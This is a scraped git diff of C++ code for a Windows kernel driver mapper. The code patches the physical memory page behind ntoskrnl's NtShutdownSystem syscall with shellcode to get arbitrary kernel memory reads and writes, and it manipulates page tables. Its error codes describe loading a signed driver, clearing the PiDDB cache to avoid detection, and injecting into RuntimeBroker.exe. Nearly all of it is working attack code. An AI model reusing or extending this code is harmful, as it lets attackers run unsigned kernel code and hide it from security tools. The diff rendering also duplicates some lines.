__forceinline T read_virtual(void* addr) __forceinline T read_virtual(void* addr)
@ -61,19 +58,15 @@ namespace nasa
} }
void* virt_to_phys(pt_entries& entries, void* addr); void* virt_to_phys(pt_entries& entries, void* addr);
bool hyperspace_entries(pt_entries& entries, void* addr);
void* set_page(void* addr); void* set_page(void* addr);
void* get_page() const; void* get_page() const;
unsigned get_pid() const;
pml4e operator[](std::uint16_t pml4_idx);
pdpte operator[](const std::pair<std::uint16_t, std::uint16_t>& entry_idx);
pde operator[](const std::tuple<std::uint16_t, std::uint16_t, std::uint16_t>& entry_idx);
pte operator[](const std::tuple<std::uint16_t, std::uint16_t, std::uint16_t, std::uint16_t>& entry_idx);
private:
bool hyperspace_entries(pt_entries& entries, void* addr); unsigned pid;
void* dirbase; void* dirbase;
vdm::vdm_ctx* v_ctx; vdm::vdm_ctx* v_ctx;
private:
std::uint16_t pml4e_index, std::uint16_t pml4e_index,
pdpte_index, pdpte_index,
pde_index, pde_index,
@ -83,6 +76,5 @@ namespace nasa
std::pair<ppdpte, ppdpte> new_pdpt; std::pair<ppdpte, ppdpte> new_pdpt;
std::pair<ppde,ppde> new_pd; std::pair<ppde,ppde> new_pd;
std::pair<ppte, ppte> new_pt; std::pair<ppte, ppte> new_pt;
unsigned pid;
}; };
} }

@ -1,5 +1,5 @@
#pragma once #pragma once
#include "../vdm_ctx/vdm_ctx.h" #include "../vdm_ctx/vdm_ctx.hpp"
using PETHREAD = PVOID; using PETHREAD = PVOID;
using PsSuspendThread = NTSTATUS(*)(PETHREAD, PULONG); using PsSuspendThread = NTSTATUS(*)(PETHREAD, PULONG);

@ -1,10 +1,13 @@
#include "vdm_ctx.h" #include "vdm_ctx.hpp"
namespace vdm namespace vdm
{ {
vdm_ctx::vdm_ctx() vdm_ctx::vdm_ctx(read_phys_t& read_func, write_phys_t& write_func)
:
read_phys(read_func),
write_phys(write_func)
{ {
// if we already found the syscall's physical page... // already found the syscall's physical page...
if (vdm::syscall_address.load()) if (vdm::syscall_address.load())
return; return;
@ -34,9 +37,37 @@ namespace vdm
search_thread.join(); search_thread.join();
} }
void vdm_ctx::set_read(read_phys_t& read_func)
{
this->read_phys = read_func;
}
void vdm_ctx::set_write(write_phys_t& write_func)
{
this->write_phys = write_func;
}
bool vdm_ctx::rkm(void* dst, void* src, std::size_t size)
{
static const auto ntoskrnl_memcpy =
util::get_kmodule_export("ntoskrnl.exe", "memcpy");
return this->syscall<decltype(&memcpy)>(
ntoskrnl_memcpy, dst, src, size);
}
bool vdm_ctx::wkm(void* dst, void* src, std::size_t size)
{
static const auto ntoskrnl_memcpy =
util::get_kmodule_export("ntoskrnl.exe", "memcpy");
return this->syscall<decltype(&memcpy)>(
ntoskrnl_memcpy, dst, src, size);
}
void vdm_ctx::locate_syscall(std::uintptr_t address, std::uintptr_t length) const void vdm_ctx::locate_syscall(std::uintptr_t address, std::uintptr_t length) const
{ {
const auto page_data = const auto page_data =
reinterpret_cast<std::uint8_t*>( reinterpret_cast<std::uint8_t*>(
VirtualAlloc( VirtualAlloc(
nullptr, nullptr,
@ -49,7 +80,7 @@ namespace vdm
if (vdm::syscall_address.load()) if (vdm::syscall_address.load())
break; break;
if (!vdm::read_phys(reinterpret_cast<void*>(address + page), page_data, PAGE_4KB)) if (!read_phys(reinterpret_cast<void*>(address + page), page_data, PAGE_4KB))
continue; continue;
// check the first 32 bytes of the syscall, if its the same, test that its the correct // check the first 32 bytes of the syscall, if its the same, test that its the correct
@ -60,7 +91,6 @@ namespace vdm
reinterpret_cast<void*>( reinterpret_cast<void*>(
address + page + nt_page_offset)); address + page + nt_page_offset));
} }
VirtualFree(page_data, PAGE_4KB, MEM_DECOMMIT); VirtualFree(page_data, PAGE_4KB, MEM_DECOMMIT);
} }
@ -81,11 +111,11 @@ namespace vdm
std::uint8_t orig_bytes[sizeof shellcode]; std::uint8_t orig_bytes[sizeof shellcode];
// save original bytes and install shellcode... // save original bytes and install shellcode...
vdm::read_phys(syscall_addr, orig_bytes, sizeof orig_bytes); read_phys(syscall_addr, orig_bytes, sizeof orig_bytes);
vdm::write_phys(syscall_addr, shellcode, sizeof shellcode); write_phys(syscall_addr, shellcode, sizeof shellcode);
auto result = reinterpret_cast<NTSTATUS(__fastcall*)(void)>(proc)(); auto result = reinterpret_cast<NTSTATUS(__fastcall*)(void)>(proc)();
vdm::write_phys(syscall_addr, orig_bytes, sizeof orig_bytes); write_phys(syscall_addr, orig_bytes, sizeof orig_bytes);
syscall_mutex.unlock(); syscall_mutex.unlock();
return result == STATUS_SUCCESS; return result == STATUS_SUCCESS;
} }

@ -5,28 +5,35 @@
#include <thread> #include <thread>
#include <atomic> #include <atomic>
#include <mutex> #include <mutex>
#include <functional>
#include "../vdm/vdm.hpp" #include "../vdm/vdm.hpp"
namespace vdm namespace vdm
{ {
// change this to whatever you want :^) // change this to whatever you want :^)
constexpr std::pair<const char*, const char*> syscall_hook = { "NtShutdownSystem", "ntdll.dll" }; constexpr std::pair<const char*, const char*> syscall_hook = { "NtShutdownSystem", "ntdll.dll" };
inline std::atomic<bool> is_page_found = false; inline std::atomic<bool> is_page_found = false;
inline std::atomic<void*> syscall_address = nullptr; inline std::atomic<void*> syscall_address = nullptr;
inline std::uint16_t nt_page_offset; inline std::uint16_t nt_page_offset;
inline std::uint32_t nt_rva; inline std::uint32_t nt_rva;
inline std::uint8_t* ntoskrnl; inline std::uint8_t* ntoskrnl;
using read_phys_t = std::function<decltype(vdm::read_phys)>;
using write_phys_t = std::function<decltype(vdm::write_phys)>;
class vdm_ctx class vdm_ctx
{ {
public: public:
vdm_ctx(); explicit vdm_ctx(read_phys_t& read_func, write_phys_t& write_func);
void set_read(read_phys_t& read_func);
void set_write(write_phys_t& write_func);
bool rkm(void* dst, void* src, std::size_t size);
bool wkm(void* dst, void* src, std::size_t size);
template <class T, class ... Ts> template <class T, class ... Ts>
__forceinline std::invoke_result_t<T, Ts...> syscall(void* addr, Ts ... args) const __forceinline std::invoke_result_t<T, Ts...> syscall(void* addr, Ts ... args) const
{ {
static const auto proc = static const auto proc =
GetProcAddress( GetProcAddress(
LoadLibraryA(syscall_hook.second), LoadLibraryA(syscall_hook.second),
syscall_hook.first syscall_hook.first
@ -46,12 +53,12 @@ namespace vdm
std::uint8_t orig_bytes[sizeof jmp_code]; std::uint8_t orig_bytes[sizeof jmp_code];
*reinterpret_cast<void**>(jmp_code + 6) = addr; *reinterpret_cast<void**>(jmp_code + 6) = addr;
vdm::read_phys(vdm::syscall_address.load(), orig_bytes, sizeof orig_bytes); read_phys(vdm::syscall_address.load(), orig_bytes, sizeof orig_bytes);
// execute hook... // execute hook...
vdm::write_phys(vdm::syscall_address.load(), jmp_code, sizeof jmp_code); write_phys(vdm::syscall_address.load(), jmp_code, sizeof jmp_code);
auto result = reinterpret_cast<T>(proc)(args ...); auto result = reinterpret_cast<T>(proc)(args ...);
vdm::write_phys(vdm::syscall_address.load(), orig_bytes, sizeof orig_bytes); write_phys(vdm::syscall_address.load(), orig_bytes, sizeof orig_bytes);
syscall_mutex.unlock(); syscall_mutex.unlock();
return result; return result;
@ -60,35 +67,15 @@ namespace vdm
template <class T> template <class T>
__forceinline auto rkm(std::uintptr_t addr) -> T __forceinline auto rkm(std::uintptr_t addr) -> T
{ {
static const auto ntoskrnl_memcpy =
util::get_kmodule_export("ntoskrnl.exe", "memcpy");
T buffer; T buffer;
this->syscall<decltype(&memcpy)>( rkm((void*)&buffer, (void*)addr, sizeof T);
ntoskrnl_memcpy, &buffer, (void*)addr, sizeof T);
return buffer; return buffer;
} }
template <class T> template <class T>
__forceinline void wkm(std::uintptr_t addr, const T& value) __forceinline auto wkm(std::uintptr_t addr, const T& value) -> bool
{ {
static const auto ntoskrnl_memcpy = return wkm((void*)addr, (void*)&value, sizeof T);
util::get_kmodule_export("ntoskrnl.exe", "memcpy");
this->syscall<decltype(&memcpy)>(
ntoskrnl_memcpy, (void*)addr, &value, sizeof T);
}
__forceinline auto get_virtual(std::uintptr_t addr) -> std::uintptr_t
{
static const auto ntoskrnl_get_virtual =
util::get_kmodule_export(
"ntoskrnl.exe",
"MmGetVirtualForPhysical");
return this->syscall<MmGetVirtualForPhysical>(
ntoskrnl_get_virtual, addr);
} }
__forceinline auto get_peprocess(std::uint32_t pid) -> PEPROCESS __forceinline auto get_peprocess(std::uint32_t pid) -> PEPROCESS
@ -106,8 +93,23 @@ namespace vdm
); );
return peproc; return peproc;
} }
__forceinline auto get_virtual(std::uintptr_t addr) -> std::uintptr_t
{
static const auto ntoskrnl_get_virtual =
util::get_kmodule_export(
"ntoskrnl.exe",
"MmGetVirtualForPhysical");
return this->syscall<MmGetVirtualForPhysical>(
ntoskrnl_get_virtual, addr);
}
private: private:
void locate_syscall(std::uintptr_t begin, std::uintptr_t end) const; void locate_syscall(std::uintptr_t begin, std::uintptr_t end) const;
bool valid_syscall(void* syscall_addr) const; bool valid_syscall(void* syscall_addr) const;
read_phys_t read_phys;
write_phys_t write_phys;
}; };
} }

Binary file not shown.

@ -20,10 +20,10 @@ int __cdecl main(int argc, char** argv)
( (
driver_data.data(), driver_data.data(),
driver_data.size(), driver_data.size(),
nullptr nullptr // you can pass your structure here...
); );
std::printf("[+] driver mapping result -> 0x%x\n", result); std::printf("[+] driver mapping result -> 0x%x (0 == STATUS_SUCCESS)\n", result);
std::printf("[+] driver base address (usermode) -> 0x%p\n", driver_base); std::printf("[+] driver base address (usermode) -> 0x%p\n", driver_base);
std::getchar(); std::getchar();
} }

@ -7,13 +7,14 @@ namespace mapper
{ {
enum class mapper_error enum class mapper_error
{ {
error_success = 0x000, // everything is good! error_success, // everything is good!
image_invalid = 0x111, // the driver your trying to map is invalid (are you importing things that arent in ntoskrnl?) image_invalid, // the driver your trying to map is invalid (are you importing things that arent in ntoskrnl?)
load_error = 0x222, // unable to load signed driver into the kernel (are you running as admin?) load_error, // unable to load signed driver into the kernel (are you running as admin?)
unload_error = 0x333, // unable to unload signed driver from kernel (are all handles to this driver closes?) unload_error, // unable to unload signed driver from kernel (are all handles to this driver closes?)
piddb_fail = 0x444, // piddb cache clearing failed... (are you using this code below windows 10?) piddb_fail, // piddb cache clearing failed... (are you using this code below windows 10?)
init_failed = 0x555, // setting up library dependancies failed! init_failed, // setting up library dependancies failed!
failed_to_create_proc = 0x777 // was unable to create a new process to inject driver into! (RuntimeBroker.exe) failed_to_create_proc, // was unable to create a new process to inject driver into! (RuntimeBroker.exe)
set_mgr_failure // unable to stop working set manager thread... this thread can cause issues with PTM...
}; };
/// <summary> /// <summary>
@ -23,5 +24,5 @@ namespace mapper
/// <param name="image_size">size of the driver buffer</param> /// <param name="image_size">size of the driver buffer</param>
/// <param name="entry_data">data to be sent to the entry point of the driver...</param> /// <param name="entry_data">data to be sent to the entry point of the driver...</param>
/// <returns>status of the driver being mapped, and base address of the driver...</returns> /// <returns>status of the driver being mapped, and base address of the driver...</returns>
std::pair<mapper_error, void*> map_driver(std::uint8_t* drv_image, std::size_t image_size, void** entry_data); auto map_driver(std::uint8_t* drv_image, std::size_t image_size, void** entry_data) -> std::pair<mapper_error, void*>;
} }
Loading…
Cancel
Save